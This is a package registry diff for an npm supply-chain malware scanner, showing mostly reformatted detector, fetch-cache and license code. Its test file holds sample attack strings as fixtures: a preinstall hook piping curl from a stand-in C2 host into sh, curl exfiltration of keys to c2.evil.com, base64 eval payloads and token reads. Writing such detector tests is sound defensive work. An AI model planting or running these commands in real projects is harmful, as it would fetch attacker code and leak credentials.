@lateos/npm-scan 1.0.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (129) hide show
  1. package/README.de.md +3 -98
  2. package/README.fr.md +3 -98
  3. package/README.ja.md +3 -98
  4. package/README.md +2 -122
  5. package/README.zh.md +3 -98
  6. package/backend/cra.js +113 -21
  7. package/backend/db.js +18 -10
  8. package/backend/detectors/atk-001-lifecycle.js +5 -5
  9. package/backend/detectors/atk-002-obfusc.js +126 -47
  10. package/backend/detectors/atk-003-creds.js +8 -4
  11. package/backend/detectors/atk-004-persist.js +3 -3
  12. package/backend/detectors/atk-005-exfil.js +8 -4
  13. package/backend/detectors/atk-006-depconf.js +3 -3
  14. package/backend/detectors/atk-007-typosquat.js +64 -10
  15. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  16. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  17. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  18. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  19. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  20. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  21. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  22. package/backend/detectors/axios-poisoning/index.js +77 -60
  23. package/backend/detectors/config/thresholds.js +48 -3
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +181 -34
  34. package/backend/detectors/lib/ast-patterns.js +4 -1
  35. package/backend/detectors/lib/entropy-analyzer.js +12 -4
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +109 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +45 -17
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +1 -1
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +77 -41
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +78 -19
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +14 -8
  104. package/backend/scripts/analyze-validation.js +27 -21
  105. package/backend/scripts/detect-false-positives.js +20 -10
  106. package/backend/scripts/fetch-top-packages.js +197 -49
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +26 -17
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +13 -12
  115. package/backend/tests-d6-version-anomaly.test.js +17 -8
  116. package/backend/tests-d6.test.js +24 -14
  117. package/backend/tests-d6c.test.js +27 -14
  118. package/backend/tests-d7-obfuscation.test.js +9 -12
  119. package/backend/tests.test.js +182 -83
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +12 -3
@@ -7,7 +7,11 @@ const RULE_SEVERITY = { D1: 'critical', D2: 'critical', D3: 'critical' };
7
7
  const SEVERITY_ORDER = ['critical', 'high', 'medium', 'low', 'info', 'none'];
8
8
 
9
9
  function highestSeverity(severities) {
10
- for (const s of SEVERITY_ORDER) if (severities.includes(s)) return s;
10
+ for (const s of SEVERITY_ORDER) {
11
+ if (severities.includes(s)) {
12
+ return s;
13
+ }
14
+ }
11
15
  return 'none';
12
16
  }
13
17
 
@@ -18,36 +22,45 @@ export async function scan(pkgJson, files = [], registryMeta = null, allFiles =
18
22
 
19
23
  const d1Result = scanMaintainerAnomaly(pkgJson, registryMeta);
20
24
  if (d1Result.stopCondition) {
21
- const evidence = attachProvenance({
22
- rule: 'TSQ-MAINT-001',
23
- campaign: 'TYPOSQUAT_VPMDHAJ',
24
- triggeredChecks: ['D1'],
25
- maintainer: d1Result.maintainer,
26
- suspiciousAliases: d1Result.suspiciousAliases,
27
- action: 'BLOCK',
28
- }, {
29
- ruleId: 'TSQ-MAINT-001',
30
- ruleName: 'Maintainer & Package Alias Anomalies',
31
- severity: 'CRITICAL',
32
- campaignName: 'Mass Typosquatting (vpmdhaj)',
33
- pkgName,
34
- pkgVersion,
35
- triggered: true,
36
- severity: 'critical',
37
- indicators: [{ type: 'blocked_maintainer', value: d1Result.maintainer }, ...d1Result.suspiciousAliases.map(a => ({ type: 'suspicious_alias', value: a }))],
38
- ruleProvenanceUrl: 'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js',
39
- campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
40
- });
25
+ const evidence = attachProvenance(
26
+ {
27
+ rule: 'TSQ-MAINT-001',
28
+ campaign: 'TYPOSQUAT_VPMDHAJ',
29
+ triggeredChecks: ['D1'],
30
+ maintainer: d1Result.maintainer,
31
+ suspiciousAliases: d1Result.suspiciousAliases,
32
+ action: 'BLOCK',
33
+ },
34
+ {
35
+ ruleId: 'TSQ-MAINT-001',
36
+ ruleName: 'Maintainer & Package Alias Anomalies',
37
+ campaignName: 'Mass Typosquatting (vpmdhaj)',
38
+ pkgName,
39
+ pkgVersion,
40
+ triggered: true,
41
+ severity: 'critical',
42
+ indicators: [
43
+ { type: 'blocked_maintainer', value: d1Result.maintainer },
44
+ ...d1Result.suspiciousAliases.map((a) => ({ type: 'suspicious_alias', value: a })),
45
+ ],
46
+ ruleProvenanceUrl:
47
+ 'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js',
48
+ campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
49
+ }
50
+ );
41
51
 
42
- return [{
43
- id: 'TYPOSQUAT_VPMDHAJ',
44
- severity: 'critical',
45
- title: 'Mass Typosquatting campaign (vpmdhaj) — blocked maintainer',
46
- description: d1Result.reason,
47
- evidence: JSON.stringify(evidence),
48
- mitigation: 'BLOCK IMMEDIATELY. Do not install packages from maintainer vpmdhaj. Audit all packages from your lockfile for this maintainer. Check for typosquatting of popular packages.',
49
- stopCondition: true,
50
- }];
52
+ return [
53
+ {
54
+ id: 'TYPOSQUAT_VPMDHAJ',
55
+ severity: 'critical',
56
+ title: 'Mass Typosquatting campaign (vpmdhaj) — blocked maintainer',
57
+ description: d1Result.reason,
58
+ evidence: JSON.stringify(evidence),
59
+ mitigation:
60
+ 'BLOCK IMMEDIATELY. Do not install packages from maintainer vpmdhaj. Audit all packages from your lockfile for this maintainer. Check for typosquatting of popular packages.',
61
+ stopCondition: true,
62
+ },
63
+ ];
51
64
  }
52
65
 
53
66
  const d2Result = scanPreinstallLoader(pkgJson);
@@ -63,36 +76,42 @@ export async function scan(pkgJson, files = [], registryMeta = null, allFiles =
63
76
  .filter(([_, r]) => r.triggered)
64
77
  .map(([id]) => id);
65
78
 
66
- if (triggered.length === 0) return [];
79
+ if (triggered.length === 0) {
80
+ return [];
81
+ }
67
82
 
68
- const severity = highestSeverity(triggered.map(id => RULE_SEVERITY[id]));
83
+ const severity = highestSeverity(triggered.map((id) => RULE_SEVERITY[id]));
69
84
 
70
- const evidence = attachProvenance({
71
- campaign: 'TYPOSQUAT_VPMDHAJ',
72
- triggeredChecks: triggered,
73
- details: Object.fromEntries(
74
- Object.entries(results).filter(([_, r]) => r.triggered)
75
- ),
76
- }, {
77
- ruleId: 'TYPOSQUAT_VPMDHAJ',
78
- ruleName: 'Mass Typosquatting Campaign Detection',
79
- severity: severity.toUpperCase(),
80
- campaignName: 'Mass Typosquatting (vpmdhaj)',
81
- pkgName,
82
- pkgVersion,
83
- triggered: true,
84
- severity,
85
- indicators: triggered.map(id => ({ type: `rule_${id}`, value: RULE_SEVERITY[id] })),
86
- ruleProvenanceUrl: 'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/',
87
- campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
88
- });
85
+ const evidence = attachProvenance(
86
+ {
87
+ campaign: 'TYPOSQUAT_VPMDHAJ',
88
+ triggeredChecks: triggered,
89
+ details: Object.fromEntries(Object.entries(results).filter(([_, r]) => r.triggered)),
90
+ },
91
+ {
92
+ ruleId: 'TYPOSQUAT_VPMDHAJ',
93
+ ruleName: 'Mass Typosquatting Campaign Detection',
94
+ campaignName: 'Mass Typosquatting (vpmdhaj)',
95
+ pkgName,
96
+ pkgVersion,
97
+ triggered: true,
98
+ severity,
99
+ indicators: triggered.map((id) => ({ type: `rule_${id}`, value: RULE_SEVERITY[id] })),
100
+ ruleProvenanceUrl:
101
+ 'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/',
102
+ campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
103
+ }
104
+ );
89
105
 
90
- return [{
91
- id: 'TYPOSQUAT_VPMDHAJ',
92
- severity,
93
- title: 'Mass Typosquatting campaign (vpmdhaj)',
94
- description: `${triggered.length} signal(s): ${triggered.join(', ')}`,
95
- evidence: JSON.stringify(evidence),
96
- mitigation: 'Block install immediately. Revoke any npm tokens. Rotate CI/CD secrets. Audit all packages from maintainer vpmdhaj. If credential exfiltration detected: rotate AWS IAM keys, Vault tokens, and GitHub tokens immediately. Verify CloudTrail/audit logs for unauthorized access.',
97
- }];
106
+ return [
107
+ {
108
+ id: 'TYPOSQUAT_VPMDHAJ',
109
+ severity,
110
+ title: 'Mass Typosquatting campaign (vpmdhaj)',
111
+ description: `${triggered.length} signal(s): ${triggered.join(', ')}`,
112
+ evidence: JSON.stringify(evidence),
113
+ mitigation:
114
+ 'Block install immediately. Revoke any npm tokens. Rotate CI/CD secrets. Audit all packages from maintainer vpmdhaj. If credential exfiltration detected: rotate AWS IAM keys, Vault tokens, and GitHub tokens immediately. Verify CloudTrail/audit logs for unauthorized access.',
115
+ },
116
+ ];
98
117
  }
@@ -10,79 +10,138 @@ test('detectors runAll empty', async () => {
10
10
  test('ATK-001 detects preinstall', async () => {
11
11
  const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
12
12
  const findings = await detectors.runAll(pkg);
13
- assert(findings.some(f => f.id === 'ATK-001'), 'Expected ATK-001');
13
+ assert(
14
+ findings.some((f) => f.id === 'ATK-001'),
15
+ 'Expected ATK-001'
16
+ );
14
17
  });
15
18
 
16
19
  test('ATK-002 detects eval+decode', async () => {
17
20
  const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
18
21
  const findings = await detectors.runAll({}, files);
19
- assert(findings.some(f => f.id === 'ATK-002'), 'Expected ATK-002');
22
+ assert(
23
+ findings.some((f) => f.id === 'ATK-002'),
24
+ 'Expected ATK-002'
25
+ );
20
26
  });
21
27
 
22
28
  test('ATK-003 detects cred env vars', async () => {
23
29
  const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
24
30
  const findings = await detectors.runAll({}, files);
25
- assert(findings.some(f => f.id === 'ATK-003'), 'Expected ATK-003');
31
+ assert(
32
+ findings.some((f) => f.id === 'ATK-003'),
33
+ 'Expected ATK-003'
34
+ );
26
35
  });
27
36
 
28
37
  test('ATK-004 detects editor persistence', async () => {
29
38
  const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
30
39
  const findings = await detectors.runAll({}, files);
31
- assert(findings.some(f => f.id === 'ATK-004'), 'Expected ATK-004');
40
+ assert(
41
+ findings.some((f) => f.id === 'ATK-004'),
42
+ 'Expected ATK-004'
43
+ );
32
44
  });
33
45
 
34
46
  test('ATK-005 detects network exfil', async () => {
35
47
  const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
36
48
  const findings = await detectors.runAll({}, files);
37
- assert(findings.some(f => f.id === 'ATK-005'), 'Expected ATK-005');
49
+ assert(
50
+ findings.some((f) => f.id === 'ATK-005'),
51
+ 'Expected ATK-005'
52
+ );
38
53
  });
39
54
 
40
55
  test('ATK-006 detects dep confusion', async () => {
41
56
  const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
42
57
  const findings = await detectors.runAll(pkg);
43
- assert(findings.some(f => f.id === 'ATK-006'), 'Expected ATK-006');
58
+ assert(
59
+ findings.some((f) => f.id === 'ATK-006'),
60
+ 'Expected ATK-006'
61
+ );
44
62
  });
45
63
 
46
64
  test('ATK-007 detects typosquatting', async () => {
47
- const pkg = { dependencies: { 'lodash': 'latest', 'loddsh': '1.0.0' } };
65
+ const pkg = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
48
66
  const findings = await detectors.runAll(pkg);
49
- assert(findings.some(f => f.id === 'ATK-007'), 'Expected ATK-007 for loddsh');
67
+ assert(
68
+ findings.some((f) => f.id === 'ATK-007'),
69
+ 'Expected ATK-007 for loddsh'
70
+ );
50
71
  });
51
72
 
52
73
  test('ATK-008 detects tarball tampering', async () => {
53
- const pkg = { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-evil.git' } };
74
+ const pkg = {
75
+ name: 'lodash',
76
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
77
+ };
54
78
  const findings = await detectors.runAll(pkg);
55
- assert(findings.some(f => f.id === 'ATK-008'), 'Expected ATK-008');
79
+ assert(
80
+ findings.some((f) => f.id === 'ATK-008'),
81
+ 'Expected ATK-008'
82
+ );
56
83
  });
57
84
 
58
85
  test('ATK-009 detects CI env trigger', async () => {
59
86
  const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
60
87
  const findings = await detectors.runAll({}, files);
61
- assert(findings.some(f => f.id === 'ATK-009'), 'Expected ATK-009');
88
+ assert(
89
+ findings.some((f) => f.id === 'ATK-009'),
90
+ 'Expected ATK-009'
91
+ );
62
92
  });
63
93
 
64
94
  test('ATK-010 detects sandbox evasion', async () => {
65
- const files = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
95
+ const files = [
96
+ { path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' },
97
+ ];
66
98
  const findings = await detectors.runAll({}, files);
67
- assert(findings.some(f => f.id === 'ATK-010'), 'Expected ATK-010');
99
+ assert(
100
+ findings.some((f) => f.id === 'ATK-010'),
101
+ 'Expected ATK-010'
102
+ );
68
103
  });
69
104
 
70
105
  test('ATK-011 detects transitive propagation', async () => {
71
106
  const files = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
72
107
  const findings = await detectors.runAll({}, files);
73
- assert(findings.some(f => f.id === 'ATK-011'), 'Expected ATK-011');
108
+ assert(
109
+ findings.some((f) => f.id === 'ATK-011'),
110
+ 'Expected ATK-011'
111
+ );
74
112
  });
75
113
 
76
114
  test('no false positives on clean package', async () => {
77
- const pkg = { name: 'test-pkg', version: '1.0.0', scripts: { test: 'node test.js' }, dependencies: { 'express': '4.0.0' } };
115
+ const pkg = {
116
+ name: 'test-pkg',
117
+ version: '1.0.0',
118
+ scripts: { test: 'node test.js' },
119
+ dependencies: { express: '4.0.0' },
120
+ };
78
121
  const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
79
122
  const findings = await detectors.runAll(pkg, files);
80
- const highCrit = findings.filter(f => f.severity === 'high' || f.severity === 'critical');
81
- assert.equal(highCrit.length, 0, `Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`);
123
+ const highCrit = findings.filter((f) => f.severity === 'high' || f.severity === 'critical');
124
+ assert.equal(
125
+ highCrit.length,
126
+ 0,
127
+ `Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`
128
+ );
82
129
  });
83
130
 
84
131
  test('all 11 ATK IDs present', async () => {
85
- const expected = ['ATK-001', 'ATK-002', 'ATK-003', 'ATK-004', 'ATK-005', 'ATK-006', 'ATK-007', 'ATK-008', 'ATK-009', 'ATK-010', 'ATK-011'];
132
+ const _expected = [
133
+ 'ATK-001',
134
+ 'ATK-002',
135
+ 'ATK-003',
136
+ 'ATK-004',
137
+ 'ATK-005',
138
+ 'ATK-006',
139
+ 'ATK-007',
140
+ 'ATK-008',
141
+ 'ATK-009',
142
+ 'ATK-010',
143
+ 'ATK-011',
144
+ ];
86
145
  const exports = Object.keys(detectors);
87
146
  assert.equal(exports.includes('runAll'), true);
88
- });
147
+ });
package/backend/fetch.js CHANGED
@@ -9,19 +9,23 @@ import { pipeline } from 'stream/promises';
9
9
  export async function fetchPackage(target, options = {}) {
10
10
  const { cacheDir, cacheTTL = 604800, cacheMaxSize = 1000000000 } = options;
11
11
  let name, version;
12
-
12
+
13
13
  if (target.startsWith('@')) {
14
14
  const lastAt = target.lastIndexOf('@');
15
15
  name = target.slice(0, lastAt);
16
16
  version = target.slice(lastAt + 1);
17
- if (!version) version = undefined;
17
+ if (!version) {
18
+ version = undefined;
19
+ }
18
20
  } else {
19
21
  const idx = target.indexOf('@');
20
22
  name = idx > -1 ? target.slice(0, idx) : target;
21
23
  version = idx > -1 ? target.slice(idx + 1) : undefined;
22
24
  }
23
-
24
- const endpoint = version ? `/${encodeURIComponent(name)}/${version}` : `/${encodeURIComponent(name)}/latest`;
25
+
26
+ const endpoint = version
27
+ ? `/${encodeURIComponent(name)}/${version}`
28
+ : `/${encodeURIComponent(name)}/latest`;
25
29
 
26
30
  if (cacheDir) {
27
31
  const cached = getFromCache(cacheDir, target, cacheTTL);
@@ -41,7 +45,9 @@ export async function fetchPackage(target, options = {}) {
41
45
  const tarUrl = meta.dist.tarball;
42
46
  const tarRes = await fetch(tarUrl);
43
47
  const buffer = Buffer.from(await tarRes.arrayBuffer());
44
- if (buffer.length > 500 * 1024 * 1024) throw new Error('Tarball too large');
48
+ if (buffer.length > 500 * 1024 * 1024) {
49
+ throw new Error('Tarball too large');
50
+ }
45
51
 
46
52
  // Save to cache if enabled
47
53
  if (cacheDir) {
@@ -55,19 +61,21 @@ export async function fetchPackage(target, options = {}) {
55
61
  function getFromCache(cacheDir, target, ttl) {
56
62
  const cachePath = path.join(cacheDir, `${target.replace('/', '-')}.tgz`);
57
63
  const metaPath = path.join(cacheDir, `${target.replace('/', '-')}.meta.json`);
58
-
64
+
59
65
  try {
60
- if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) return null;
61
-
66
+ if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) {
67
+ return null;
68
+ }
69
+
62
70
  const meta = JSON.parse(fs.readFileSync(metaPath, 'utf8'));
63
71
  const age = (Date.now() - meta.timestamp) / 1000;
64
-
72
+
65
73
  if (age > ttl) {
66
74
  fs.unlinkSync(cachePath);
67
75
  fs.unlinkSync(metaPath);
68
76
  return null;
69
77
  }
70
-
78
+
71
79
  return fs.readFileSync(cachePath);
72
80
  } catch {
73
81
  return null;
@@ -79,27 +87,27 @@ function saveToCache(cacheDir, target, buffer, ttl, maxSize) {
79
87
  if (!fs.existsSync(cacheDir)) {
80
88
  fs.mkdirSync(cacheDir, { recursive: true });
81
89
  }
82
-
90
+
83
91
  // Prune if needed
84
92
  pruneCache(cacheDir, maxSize);
85
-
93
+
86
94
  const safeName = target.replace('/', '-');
87
95
  const cachePath = path.join(cacheDir, `${safeName}.tgz`);
88
96
  const metaPath = path.join(cacheDir, `${safeName}.meta.json`);
89
-
97
+
90
98
  fs.writeFileSync(cachePath, buffer);
91
99
  fs.writeFileSync(metaPath, JSON.stringify({ timestamp: Date.now(), size: buffer.length }));
92
- } catch (e) {
100
+ } catch {
93
101
  // Cache write failure - continue without caching
94
102
  }
95
103
  }
96
104
 
97
105
  function pruneCache(cacheDir, maxSize) {
98
106
  try {
99
- const files = fs.readdirSync(cacheDir).filter(f => f.endsWith('.meta.json'));
107
+ const files = fs.readdirSync(cacheDir).filter((f) => f.endsWith('.meta.json'));
100
108
  let totalSize = 0;
101
109
  const fileInfos = [];
102
-
110
+
103
111
  for (const f of files) {
104
112
  const meta = JSON.parse(fs.readFileSync(path.join(cacheDir, f), 'utf8'));
105
113
  const tarFile = f.replace('.meta.json', '.tgz');
@@ -107,17 +115,21 @@ function pruneCache(cacheDir, maxSize) {
107
115
  totalSize += size;
108
116
  fileInfos.push({ tarFile, metaFile: f, timestamp: meta.timestamp, size });
109
117
  }
110
-
118
+
111
119
  if (totalSize > maxSize) {
112
120
  // Sort by oldest first and remove until under limit
113
121
  fileInfos.sort((a, b) => a.timestamp - b.timestamp);
114
122
  for (const info of fileInfos) {
115
- if (totalSize <= maxSize * 0.8) break; // Leave 20% margin
123
+ if (totalSize <= maxSize * 0.8) {
124
+ break;
125
+ } // Leave 20% margin
116
126
  try {
117
127
  fs.unlinkSync(path.join(cacheDir, info.tarFile));
118
128
  fs.unlinkSync(path.join(cacheDir, info.metaFile));
119
129
  totalSize -= info.size;
120
- } catch {}
130
+ } catch {
131
+ /* ignore file errors */
132
+ }
121
133
  }
122
134
  }
123
135
  } catch {
@@ -135,24 +147,20 @@ async function extractTarball(buffer, tmpDir) {
135
147
  fs.mkdirSync(tmpDir, { recursive: true });
136
148
 
137
149
  const stream = Readable.from(buffer);
138
- await pipeline(
139
- stream,
140
- zlib.createGunzip(),
141
- extract({ cwd: tmpDir, strip: 1 })
142
- );
150
+ await pipeline(stream, zlib.createGunzip(), extract({ cwd: tmpDir, strip: 1 }));
143
151
 
144
152
  const pkgPath = path.join(tmpDir, 'package.json');
145
153
  const pkgJsonStr = fs.readFileSync(pkgPath, 'utf8');
146
154
  const pkgJson = JSON.parse(pkgJsonStr);
147
155
 
148
- const jsFiles = walkFiles(tmpDir, '.js').map(p => ({
156
+ const jsFiles = walkFiles(tmpDir, '.js').map((p) => ({
149
157
  path: p,
150
- content: fs.readFileSync(p, 'utf8')
158
+ content: fs.readFileSync(p, 'utf8'),
151
159
  }));
152
160
 
153
- const allFiles = walkFiles(tmpDir, '').map(p => ({
161
+ const allFiles = walkFiles(tmpDir, '').map((p) => ({
154
162
  path: p,
155
- content: fs.readFileSync(p, 'utf8')
163
+ content: fs.readFileSync(p, 'utf8'),
156
164
  }));
157
165
 
158
166
  return { pkgJson, jsFiles, allFiles, tmpDir };
@@ -173,4 +181,4 @@ function walkFiles(dir, ext) {
173
181
 
174
182
  export function cleanup(tmpDir) {
175
183
  fs.rmSync(tmpDir, { recursive: true, force: true });
176
- }
184
+ }
package/backend/index.js CHANGED
@@ -1,4 +1,4 @@
1
1
  export default {
2
2
  version: '0.1.0',
3
- description: 'npm-scan - Supply chain security for npm'
3
+ description: 'npm-scan - Supply chain security for npm',
4
4
  };
@@ -5,7 +5,19 @@ const HMAC_KEY = process.env.NPM_SCAN_LICENSE_SECRET || 'npm-scan-default-dev-ke
5
5
  const FEATURE_TIERS = {
6
6
  community: [],
7
7
  premium: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm'],
8
- enterprise: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm', 'sso', 'audit-logs', 'pg-backend', 'kubernetes'],
8
+ enterprise: [
9
+ 'sandbox',
10
+ 'siem',
11
+ 'cra',
12
+ 'nist-pdf',
13
+ 'rest-api',
14
+ 'webhooks',
15
+ 'helm',
16
+ 'sso',
17
+ 'audit-logs',
18
+ 'pg-backend',
19
+ 'kubernetes',
20
+ ],
9
21
  };
10
22
 
11
23
  const ALL_FEATURES = Object.values(FEATURE_TIERS).flat();
@@ -70,7 +82,9 @@ export function validateLicense(key, feature = '*') {
70
82
  }
71
83
 
72
84
  if (feature !== '*' && !allowed.includes(feature) && !ALLOWED_UNLOCKED.includes(feature)) {
73
- throw new Error(`Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`);
85
+ throw new Error(
86
+ `Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`
87
+ );
74
88
  }
75
89
 
76
90
  return { edition, features: allowed, ...payload };
@@ -80,11 +94,13 @@ export function isFeatureEnabled(feature, licenseKey = process.env.NPM_SCAN_LICE
80
94
  try {
81
95
  if (!licenseKey) {
82
96
  const unlocked = feature === 'scan' || ALLOWED_UNLOCKED.includes(feature);
83
- if (unlocked) return true;
97
+ if (unlocked) {
98
+ return true;
99
+ }
84
100
  }
85
101
  validateLicense(licenseKey, feature);
86
102
  return true;
87
103
  } catch {
88
104
  return false;
89
105
  }
90
- }
106
+ }